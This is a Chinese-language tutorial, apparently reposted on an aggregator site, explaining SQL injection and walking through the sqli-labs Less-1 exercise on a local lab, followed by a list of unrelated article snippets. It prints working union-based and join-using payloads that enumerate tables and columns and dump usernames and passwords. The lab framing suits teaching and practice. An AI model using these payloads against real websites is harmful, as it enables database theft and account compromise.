SQL注入漏洞解析

什么是SQL注入
原理:

SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息

解釋:當我們用戶在前端瀏覽器頁面做一些事情的時候,當需要與數據庫進行交互時,比如最簡單的登陸賬號,web應用程序接收到我們賬號密碼后,需要后臺有這樣一個數據庫的命令,去查詢數據庫中是否有這樣的一個賬號密碼與之對應,然后做出判斷:是否存在用戶名,若存在,用戶名與密碼是否相匹配。然而,當數據庫的這個命令直接被用戶去操控,用戶直接對數據庫進行任意操作。這樣所帶來的隱患是極其嚴重的。我們稱之為存在SQL注入漏洞。

起因:

? ? ?為什么會有SQL注入?

  • 代碼對帶入SQL語句的參數過濾不嚴格
  • 未啟用框架的安全配置,例如:PHP的magic_quotes_gpc
  • 未使用框架安全的查詢方法
  • 測試接口未刪除
  • 未啟用防火墻
  • 未使用其他的安全防護設備
  • .......
危害 :

這些危害包括但不局限于:

  • 數據庫信息泄漏:數據庫中存放的用戶的隱私信息的泄露。
  • 網頁篡改:通過操作數據庫對特定網頁進行篡改。
  • 網站被掛馬。傳播惡意軟件:修改數據庫一些字段的值,嵌入網馬鏈接,進行掛馬攻擊。
  • 數據庫被惡意操作。數據庫服務器被攻擊。數據庫的系統管理員帳戶被竄改。
  • 服務器被遠程控制,被安裝后門。經由數據庫服務器提供的操作系統支持,讓黑客得以修改或控“制操作系統。
  • 破壞讀盤數據,癱瘓全系統。 一些類型的數據庫系統能夠讓Sql指令操作文件系統,這使得Sql注入的危害被進一步放大。
場景:

哪些地方可能會存在SQL注入?

  • ? 所有與數據庫進行交互的地方:
  • 登陸框
  • 搜索框
  • 詳情頁
  • 提交按鈕
前置知識
以下所有內容除特殊強調外數據庫均為Mysql

先來了解一下Mysql的一些基礎結構把

  • 數據庫:information_schema(存放數據庫元信息)

其中三張常用的表

  1. schemata (存放數據庫名)
  2. tables (存放表名)
  3. columns(存放字段名)

schemata表:

? ? ?schema_name字段用來存儲數據庫名
tables表:

  1. table_schema(數據庫名)
  2. table_name(表名)

columns表:

  1. table_schema(數據庫名)
  2. table_name(表名)
  3. column_name(字段名)
SQL注入分類:

?SQL注入的類型很多,但不是嚴格的進行區分的。如報錯注入可發生在GET型注入中,也可發生在POST型注入中,以下列舉幾種常見的分類:

按照請求方法分類
  • GET型注入
  • POST型注入
按照SQL數據類型分類
  • 整型注入
  • 字符型注入
其他類型
  • 報錯注入
  • 布爾盲注
  • 時間盲注
  • Cookie注入
  • User-Agent注入
判斷是否存在SQL注入
? 當我們在進行SQL注入時,首先要判斷他的注入點。其目的便是盡可能地使數據庫去執行我們的輸入:

單引號’、雙引號"、單括號)、雙括號))等看看是否報錯,如果報錯就可能存在SQL注入漏洞了。
在url后加and 1=1 、and 1=2、 -0、 +0、 .0、 .1等查看頁面回顯是否一樣來判斷所輸入的數據是否被當作數據庫命令執行。(部分注入存在回顯不明顯,可通過審查元素或者使用BurpSuite進行查看)
下面我們用sqli-labs 為實驗環境進行展開分析

1.sqli-labs第一關

1.1判斷是否存在sql注入

1.提示你輸入數字值的ID作為參數,我們輸入?id=1

?

2.通過數字值不同返回的內容也不同,所以我們輸入的內容是帶入到數據庫里面查詢了。

3.接下來我們判斷sql語句是否是拼接,且是字符型還是數字型。

當我加了'之后顯示語法錯誤

但是我注釋掉'之后有數據顯示?

4.可以根據結果指定是字符型且存在sql注入漏洞。因為該頁面存在回顯,所以我們可以使用聯合查詢。聯合查詢原理簡單說一下,聯合查詢就是兩個sql語句一起查詢,兩張表具有相同的列數,且字段名是一樣的。

之后通過order by 后加數字來判斷有多少個字段若 order by 2返回正常 則說明字段數大于等于2。由該處 order by 3正常 order by 4返回錯誤可判斷字段數為3

?

?知道字段后我們就可以聯合查詢

127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,3--+

?

  • 使用函數version(),database()替換占位數字回顯出數據庫版本信息名稱

知道庫名(security)之后數據庫的所有表名
id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

查列名
?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

我們查到了庫里有id,username,password,就能查到里邊具體的數據??

/?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+

?ok,我們查到了數據,就可以.......🤣

衍生一下,如果我們的information schema被過濾,怎末版。

1.2學習一下無列名注入?

?有沒有代替information schema的呢?

在5.7以上的MYSQL中,新增了sys數據庫,該庫的基礎數據來自information_schema和performance_chema,其本身不存儲數據。可以通過其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)來獲取表名。

利用join-using注列名

通過系統關鍵字join可建立兩表之間的內連接,通過對想要查詢列名所在的表與其自身

爆表名
?id=-1%27union%20select%201,2,group_concat(table_name)from%20sys.schema_auto_increment_columns%20where%20table_schema=database()--+
/?id=-1%27union%20select%201,2,group_concat(table_name)from%20sys.schema_table_statistics_with_buffer%20where%20table_schema=database()--+

?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b)%20as%20c--+

?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id))c--+

/?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id,username))%20as%20c--+

?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id,username,password))%20as%20c--+

?這就把列名一步一步全部弄出來了。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/696260.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/696260.shtml
英文地址,請注明出處:http://en.pswp.cn/news/696260.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Ps下載安裝(專業圖像處理軟件Ps安裝包下載2024【Windows版】)

Adobe全家桶下載方式 將持續更新~ 文章目錄 Adobe全家桶下載方式Ps下載方式【點我獲取下載鏈接】我們的網站一、Ps簡介聲明 Ps下載方式【點我獲取下載鏈接】 迅雷網盤下載:迅雷網盤下載方式百度網盤下載:百度網盤下載方式夸克網盤下載:夸克…

【Vuforia+Unity】AR01實現單張多張圖片識別產生對應數字內容

1.官網注冊 Home | Engine Developer Portal 2.下載插件SDK,導入Unity 3.官網創建數據庫上傳圖片,官網處理成數據 下載好導入Unity! 下載好導入Unity! 下載好導入Unity! 下載好導入Unity! 4.在Unity設…

圖——最小生成樹實現(Kruskal算法,prime算法)

目錄 預備知識: 最小生成樹概念: Kruskal算法: 代碼實現如下: 測試: Prime算法 : 代碼實現如下: 測試: 結語: 預備知識: 連通圖:在無向圖…

Sora的第一波受害者出現了。

不知道大家最近除了被Sora刷屏之外,有沒有被這張圖刷屏 我只能說網友太強大了 說實話,我進入舟老師的直播間,每次都是還有3分鐘下播,還有6單就拍完 但是10分鐘后還在激情逼單,6單之后還有6單 也許在營銷學上&#x…

深入理解nginx的動態變量機制【上】

目錄 1. 概述2. 動態變量的分類2.1 按照變量名的確定性來分類2.2 按照變量聲明的來源分類2.3 按照是否可以變更分類2.4 按照是否可以緩存分類2.5 按照變量的索引方式分類 3. 變量的使用3.1 聲明一個變量3.1.1 支撐變量聲明的nginx關鍵結構體3.1.2 在配置文件中聲明3.1.3 在http…

C++筆記:OOP三大特性之多態

前言 本博客中的代碼和解釋都是在VS2019下的x86程序中進行的,涉及的指針都是 4 字節,如果要其他平臺下測試,部分代碼需要改動。比如:如果是x64程序,則需要考慮指針是8bytes問題等等。 文章目錄 前言一、多態的概念二、…

【C++初階】系統實現日期類

目錄 一.運算符重載實現各個接口 1.小于 (d1)<> 2.等于 (d1d2) 3.小于等于&#xff08;d1<d2&#xff09; 4.大于&#xff08;d1>d2&#xff09; 5.大于等于&#xff08;d1>d2&#xff09; 6.不等于&#xff08;d1!d2&#xff09; 7.日期天數 (1) 算…

mac圖片怎么轉換格式jpg?四種高效方法助你輕松搞定JPG格式

mac圖片怎么轉換格式jpg&#xff1f;在數字時代&#xff0c;圖片格式的轉換成為了我們日常操作中的一項基本技能。特別是在使用Mac操作系統的用戶中&#xff0c;如何將圖片轉換為JPG格式成為了一個熱門話題。本文將為你詳細介紹四種簡單實用的方法&#xff0c;幫助你在Mac上輕松…

測試基礎1:偉大航路喲呼(Linux基礎、mysql基礎)

1 測試流程和方法 軟件測試定義&#xff1a; 從方式上看&#xff1a;包含人工測試、自動化測試 從方法上看&#xff1a;運行程序或系統和測定程序或系統的過程 從目的上看&#xff1a;包括找bug和找bug出現的原因 軟件測試的原則&#xff1a;功能性、可靠性、易用性、效率性…

一、網絡基礎知識

1、IP地址和端口號 1.1、IP地址 定義&#xff1a;用于在網絡中唯一標識設備的地址。格式&#xff1a;通常由四個數字組成&#xff0c;以點分十進制表示&#xff0c;例如&#xff1a;192.168.0.1。(IPv4)作用&#xff1a;允許網絡中的設備相互通信&#xff0c;通過IP地址可以定…

Python 數據可視化之密度散點圖 Density Scatter Plot

&#x1f349; CSDN 葉庭云&#xff1a;https://yetingyun.blog.csdn.net/ 密度散點圖&#xff08;Density Scatter Plot&#xff09;&#xff0c;也稱為密度點圖或核密度估計散點圖&#xff0c;是一種數據可視化技術&#xff0c;主要用于展示大量數據點在二維平面上的分布情況…

Swift基礎知識:24.Swift可選鏈

在 Swift 中&#xff0c;可選鏈&#xff08;Optional Chaining&#xff09;是一種用于調用可選類型屬性、方法或下標的安全方式。可選鏈允許我們在調用鏈中的任何一個屬性、方法或下標返回 nil 時&#xff0c;整個調用鏈仍然可以繼續執行&#xff0c;而不會因為其中的任何一個可…

一樣的代碼不同項目跳轉頁面報404的解決辦法

今天收到實施反饋的一個問題&#xff0c;點項目名稱跳轉項目詳情頁面時&#xff0c;有的頁面跳轉顯示正常&#xff0c;有的頁面跳轉報404錯誤。錯誤如下&#xff1a; 發現報錯的項目都有一個共性就是有特殊字符“[ ]” , 解決的辦法就是把帶有特殊字符的字段 用 encodeURI()…

Java SE 入門到精通—4.抽象類與接口【Java】

抽象類 同接口一樣&#xff0c;用來約束子類&#xff0c;限制子類必須擁有某些方法&#xff0c;比普通類多了個抽象方法&#xff0c;用抽象方法該類必為抽象類 概念 沒有具體的對象&#xff0c;具體的方法的一個類 abstract關鍵字聲明為抽象類/方法 一個類中有抽象方法則該…

統計前端傳過來的Req的非空屬性個數的工具類

背景 日常開發中&#xff0c;我們通常會根據前端傳過來的實體類的屬性個數去做邏輯判斷&#xff0c;下面的是判斷屬性個數的工具類。 工具類 public static Integer nonNullFieldCount(Req req) {if (req null) {return 0;}int nonNullFieldCount 0;Field[] fields req.ge…

【Django】Django自定義后臺表單——對一個關聯外鍵對象同時添加多個內容

以官方文檔為例&#xff1a; 一個投票問題包含多個選項&#xff0c;基本的表單設計只能一個選項一個選項添加&#xff0c;效率較低&#xff0c;如何在表單設計中一次性添加多個關聯選項&#xff1f; 示例代碼&#xff1a; from django.contrib import adminfrom .models impo…

Java中的關鍵字有哪些?它們各自的作用是什么?請詳細說明?Java中的訪問修飾符有哪些?它們的訪問權限是怎樣的?

1、Java中的關鍵字有哪些&#xff1f;它們各自的作用是什么&#xff1f;請詳細說明&#xff1f; Java中的關鍵字是預先定義好的&#xff0c;具有特殊含義的標識符&#xff0c;用于表示數據類型、程序結構或控制流程等。以下是Java中的一些常用關鍵字及其作用&#xff1a; abs…

【軟件架構】02-復雜度來源

1、性能 1&#xff09;單機 受限于主機的CPU、網絡、磁盤讀寫速度等影響 在多線程的互斥性、并發中的同步數據狀態等&#xff1b; 擴展&#xff1a;硬件資源、增大線程池 2&#xff09;集群 微服務化拆分&#xff0c;導致調用鏈過長&#xff0c;網絡傳輸的消耗過多。 集…

嵌入式Qt 計算器核心算法_3

一.后綴表達式實現算數運算思路 二.算法實現 #include "QCalculatorDec.h"QCalculatorDec::QCalculatorDec() {m_exp "";m_result ""; }QCalculatorDec::~QCalculatorDec() {}bool QCalculatorDec::isDigitOrDot(QChar c) {return ((0 < c)…

基于SpringBoot的景區旅游管理系統

項目介紹 本期給大家介紹一個 景區旅游管理 系統.。主要模塊有首頁&#xff0c;旅游路線&#xff0c;旅行攻略&#xff0c;在線預定。管理員可以登錄管理后臺對用戶進行管理&#xff0c;可以添加酒店&#xff0c;景區&#xff0c;攻略&#xff0c;路線等信息。整體完成度比較高…